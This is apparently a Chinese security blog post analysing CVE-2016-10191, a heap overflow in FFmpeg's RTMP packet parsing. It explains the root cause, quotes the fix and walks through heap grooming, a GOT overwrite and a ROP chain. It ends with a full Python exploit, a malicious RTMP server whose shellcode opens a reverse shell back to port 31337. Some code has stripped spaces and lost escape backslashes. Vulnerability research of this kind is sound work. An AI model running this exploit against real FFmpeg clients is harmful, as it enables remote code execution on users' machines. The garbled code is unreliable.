导语:FFmpeg是一个著名的处理音视频的开源项目,使用者众多。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。
一、前言
FFmpeg是一个著名的处理音视频的开源项目,使用者众多。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。网上对CVE-2016-10190已经有了很多分析文章,但是CVE-2016-10191尚未有其他人分析过。本文详细分析了CVE-2016-10191,是学习漏洞挖掘以及利用的一个非常不错的案例。
二、漏洞成因分析
在 RTMP协议中,最小的发送数据包的单位是一个 chunk。客户端和服务器会互相协商好发送给对方的 chunk 的最大大小,初始为 0x80 个字节。一个 RTMP Message 如果超出了Max chunk size, 就需要被拆分成多个 chunk 来发送。在 chunk 的 header 中会带有 Chunk Stream ID 字段(后面简称 CSID),用于对等端在收到 chunk 的时候重新组装成一个 Message,相同的CSID 的 chunk 是属于同一个 Message 的。
在每一个 Chunk 的 Message Header 部分都会有一个 Size 字段存储该 chunk 所属的 Message 的大小,按道理如果是同一个 Message 的 chunk 的话,那么 size 字段都应该是相同的。这次漏洞的起因是对于属于同一个 Message 的 Chunk的 size 字段没有校验前后是否一致,导致写入堆的时候缓冲区溢出。
漏洞发生在rtmppkt.c文件中的rtmp_packet_read_one_chunk函数中,漏洞相关部分的源代码如下
size = size - p->offset; //size 为 chunk 中提取的 size 字段 //没有检查前后 size 是否一致 toread = FFMIN(size, chunk_size);//控制toread的值 if (ffurl_read_complete(h, p->data + p->offset, toread) != toread) { ff_rtmp_packet_destroy(p); return AVERROR(EIO); }
在 max chunk size 为0x80的前提下,如果前一个 chunk 的 size 为一个比较下的数值,如0xa0,而后一个 chunk 的 size 为一个非常大的数值,如0x2000, 那么程序会分配一个0xa0大小的缓冲区用来存储整个 Message,第一次调用ffurlreadcomplete函数会读取0x80个字节,放到缓冲区中,而第二次调用的时候也是读取0x80个字节,这就造成了缓冲区的溢出。
官方修补方案
非常简单,只要加入对前后两个 chunk 的 size 大小是否一致的判断就行了,如果不一致的话就报错,并且直接把前一个 chunk 给销毁掉。
+ if (prev_pkt[channel_id].read && size != prev_pkt[channel_id].size) { + av_log(NULL, AV_LOG_ERROR, "RTMP packet size mismatch %d != %dn", + size, + prev_pkt[channel_id].size); + ff_rtmp_packet_destroy(&prev_pkt[channel_id]); + prev_pkt[channel_id].read = 0; + } +
三、漏洞利用环境的搭建
漏洞利用的靶机环境
操作系统:Ubuntu 16.04 x64
FFmpeg版本:3.2.1 (参照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译,需要把官方教程中提及的所有 encoder编译进去。)
官方的编译过程由于很多都是静态编译,在一定程度上降低了利用难度。
四、漏洞利用脚本的编写
首先要确定大致的利用思路,由于是堆溢出,而且是任意多个字节的,所以第一步是观察一下堆上有什么比较有趣的数据结构可以覆盖。堆上主要有一个RTMPPacket结构体的数组,每一个RTMPPakcet就对应一个 RTMP Message,RTMPPacket的结构体定义是这样的:
/** * structure for holding RTMP packets */ typedefstructRTMPPacket { intchannel_id; ///< RTMP channel ID (nothing to do with audio/video channels though) RTMPPacketType type; ///< packet payload type uint32_t timestamp; ///< packet full timestamp uint32_t ts_field; ///< 24-bit timestamp or increment to the previous one, in milliseconds (latter only for media packets). Clipped to a maximum of 0xFFFFFF, indicating an extended timestamp field. uint32_t extra; ///< probably an additional channel ID used during streaming data //这个是 Message Stream ID? uint8_t *data; ///< packet payload int size; ///< packet payload size int offset; ///< amount of data read so far int read; ///< amount read, including headers } RTMPPacket;
其中有一个很重要的 data 字段就指向这个 Message 的 data buffer,也是分配在堆上。客户端在收到服务器发来的 RTMP 包的时候会把包的内容存储在 data buffer 上,所以如果我们控制了RTMPPacket中的 data 指针,就可以做到任意地址写了。
我们的最终目的是要执行一段shellcode,反弹一个 shell 到我们的恶意服务器上。而要执行shellcode,可以通过mprotect函数将一段内存区域的权限修改为rwx,然后将shellcode部署到这段内存区域内,然后跳转过去执行。那么怎么才能去执行mprotect呢,当然是通过 ROP 了。ROP 可以部署在堆上,然后在程序中寻找合适的 gadget 把栈指针迁移到堆上就行了。
那么第一步就是如何控制RTMPPacket中的 data 指针了,我们先发一个 chunk 给客户端,CSID为0x4,程序为调用下面这个函数在堆上分配一个RTMPPacket[20] 的数组,然后在数组下面开辟一段buffer存储Message的 data。
if ((ret = ff_rtmp_check_alloc_array(prev_pkt_ptr, nb_prev_pkt, channel_id)) < 0)
很容易想到利用堆溢出覆盖这个RTMPPacket的数组就可以了,但是这时候的堆布局数组是在可溢出的heap chunk的上方,怎么办?再发送一个CSID为20的 chunk 给客户端,ff_rtmp_check_alloc_array会调用realloc函数给数组重新分配更大的空间,然后数组就跑到下面去了。此时的堆布局如下
然后我们就可以构造数据包来溢出覆盖数组了,我们在数据包中伪造一个RTMPPacket结构体,然后把数组的第二项覆盖成我们伪造的结构体。其中 data 字段指向 got 表中的realloc(为什么覆盖realloc后面会提), size 随意指定一个0x4141, read 字段指定为0x180, 只要不为0就行了(为0的话会在堆上malloc一块区域然后把 data 指针指向这块区域)。
这之后我们再发送 CSID 为2的一个 chunk,chunk 的内容就是要修改的 got 表的内容。这里我们覆盖成movrsp, rax这个gadget 的地址,用来迁移栈。接下来我们就把 ROP 部署在堆上。ROP 做了这么几件事:
1 调用mprotect使得代码段可写
2 把shellcode写入0x40000起始的位置
3 跳转到0x400000执行shellcode
发送足够数量的包部署好 ROP 之后,就要想办法调用realloc函数了,ffrtmpcheckallocarray函数调用了realloc, 发一个 CSID 为63的过去,就能触发这个函数调用realloc,在函数调用realloc之前正好能将RTMPPacket数组的起始地址填入rax,然后调用realloc的时候因为 got 表被覆写了,实际调用了movrsp, rax,然后就成功让栈指针指向堆上了。之后就可以成功开始执行我们的shellcode了。这个时候整个堆的布局如下:
最后利用成功的截图如下:
先在本机开启一个恶意的 RTMP 服务端
然后使用ffmpeg程序去连接上图的服务端
在另一个终端用nc监听31337端口
可以看到程序执行了我们的shellcode之后成功连上了31337端口,并反弹了一个 shell。
最后附上完整的exp,根据https://gist.github.com/PaulCher/9acf4dc47c95a8b40b456ba03b05a913修改而来
#!/usr/bin/python #coding=utf-8 importos import socket importstruct from time import sleep frompwn import * bind_ip = '0.0.0.0' bind_port = 12345 elf = ELF('/home/dddong/bin/ffmpeg') gadget = lambda x: next(elf.search(asm(x, arch = 'amd64', os = 'linux'))) # Gadgets that we need to know inside binary # to successfully exploit it remotely add_esp_f8 = 0x00000000006719e3 pop_rdi = gadget('pop rdi; ret') pop_rsi = gadget('pop rsi; ret') pop_rdx = gadget('pop rdx; ret') pop_rax = gadget('pop rax; ret') mov_rsp_rax = gadget('movrsp, rax; ret') mov_gadget = gadget('mov qword ptr [rax], rsi ; ret') got_realloc = elf.got['realloc'] log.info("got_reallocaddr:%#x" % got_realloc) plt_mprotect = elf.plt['mprotect'] log.info("plt_mprotectaddr:%#x" % plt_mprotect) shellcode_location = 0x400000 # backconnect 127.0.0.1:31337 x86_64 shellcode shellcode = "x48x31xc0x48x31xffx48x31xf6x48x31xd2x4dx31xc0x6ax02x5fx6ax01x5ex6ax06x5ax6ax29x58x0fx05x49x89xc0x48x31xf6x4dx31xd2x41x52xc6x04x24x02x66xc7x44x24x02x7ax69xc7x44x24x04x7fx00x00x01x48x89xe6x6ax10x5ax41x50x5fx6ax2ax58x0fx05x48x31xf6x6ax03x5ex48xffxcex6ax21x58x0fx05x75xf6x48x31xffx57x57x5ex5ax48xbfx2fx2fx62x69x6ex2fx73x68x48xc1xefx08x57x54x5fx6ax3bx58x0fx05"; shellcode = 'x90' * (8 - (len(shellcode) % 8)) + shellcode #8字节对齐 defcreate_payload(size, data, channel_id): """ 生成一个RTMP Message """ payload = '' #Message header的类型为1 payload += p8((1 << 6) + channel_id) # (hdr<< 6) &channel_id; payload += '' # ts_field payload += p24(size) # size payload += p8(0x00) # Message type payload += data # data return payload defcreate_rtmp_packet(channel_id, write_location, size=0x4141): """ 创造一个RTMPPacket结构体 """ data = '' data += p32(channel_id) # channel_id data += p32(0) # type data += p32(0) # timestamp data += p32(0) # ts_field data += p64(0) # extra data += p64(write_location) # write_location - data data += p32(size) # size data += p32(0) # offset data += p64(0x180) # read return data def p24(data): packed_data = p32(data, endian='big')[1:] assert(len(packed_data) == 3) returnpacked_data defhandle_request(client_socket): v = client_socket.recv(1) #接收握手包C0 client_socket.send(p8(3)) #发送握手包S0, 版本号 payload = '' payload += 'x00' * 4 #好像是 timestamp,没什么卵用 payload += 'x00' * 4 #这四个字节是 Server 的版本号,这里设置为全0,防止客户端走校验的流程 payload += os.urandom(1536 - 8) #剩下的都随机生成 client_socket.send(payload) #发送握手包S1 client_socket.send(payload) #发送握手包S2 client_socket.recv(1536) #接收握手包C1 client_socket.recv(1536) #接收握手包C2 #以上就是整个握手过程 print 'sending payload' payload = create_payload(0xa0, 'U' * 0x80, 4) client_socket.send(payload) payload = create_payload(0xa0, 'A' * 0x80, 20) client_socket.send(payload) data = '' data += 'U' * 0x20 # the rest of chunk data += p64(0) # zerobytes data += p64(0x6a1) # real size of chunk, 这一行size 可能需要根据实际情况更改 data += p64(add_esp_f8) # trampoline to rop data += 'Y' * (0x30 - 8) # channel_zero, 填充RTMPPacket[0] data += 'Y' * 0x20 # channel_one, 填充部分RTMPPacket[1] payload = create_payload(0x2000, data, 4) client_socket.send(payload) #到这一步程序并没有崩溃 data = '' data += 'I' * 0x10 # fill the previous RTMPPacket[1] #data += p64(add_rsp_a8) data += create_rtmp_packet(2, got_realloc) data += 'D' * (0x80 - len(data)) #填充到0x80个字节 payload = create_payload(0x1800, data, 4) client_socket.send(payload) #把 got 表中av_realloc改写 jmp_to_rop = '' jmp_to_rop += p64(mov_rsp_rax) jmp_to_rop += 'A' * (0x80 - len(jmp_to_rop)) payload = create_payload(0x1800, jmp_to_rop, 2) client_socket.send(payload) rop = '' rop += 'AAAAAAAA' * 6 # padding rop += p64(pop_rdi) rop += p64(shellcode_location) #shellcode不放在堆上是因为难以 leak 堆地址? rop += p64(pop_rsi) rop += p64(0x1000) rop += p64(pop_rdx) rop += p64(7) rop += p64(plt_mprotect) #mprotect(shellcode_location, 0x1000, 7) write_location = shellcode_location shellslices = map(''.join, zip(*[iter(shellcode)]*8)) #将shellcode以8个字节为1组打包 for shell in shellslices: #把shellcode通过rop的方式写入 rop += p64(pop_rax) rop += p64(write_location) rop += p64(pop_rsi) rop += shell rop += p64(mov_gadget) write_location += 8 rop += p64(shellcode_location) rop += 'X' * (0x80 - (len(rop) % 0x80)) #0x80个字节对齐 rop_slices = map(''.join, zip(*[iter(rop)]*0x80)) #将rop以0x80个字节为1组打包 for data in rop_slices: payload = create_payload(0x2000, data, 4) client_socket.send(payload) # does not matter what data to send because we try to trigger # av_realloc function inside ff_rtmp_check_alloc_array # so that av_realloc(our_data) shall be called payload = create_payload(1, 'A', 63) client_socket.send(payload) sleep(3) print 'sending done' #raw_input("wait for user interaction.") client_socket.close() if __name__ == '__main__': s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((bind_ip, bind_port)) s.listen(5) while True: print 'Waiting for new client...' client_socket, addr = s.accept() handle_request(client_socket)
五、参考资料
1 漏洞详情:http://www.openwall.com/lists/oss-security/2017/01/31/12
2 官方修复:https://github.com/FFmpeg/FFmpeg/commit/7d57ca4d9a75562fa32e40766211de150f8b3ee7
3 漏洞作者提供的exp:https://gist.github.com/PaulCher/9acf4dc47c95a8b40b456ba03b05a913
4 RTMP 介绍:http://mingyangshang.github.io/2016/03/06/RTMP%E5%8D%8F%E8%AE%AE/
5 RTMP 介绍:http://www.jianshu.com/p/00aceabce944
官方编译FFmpeg的教程:https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu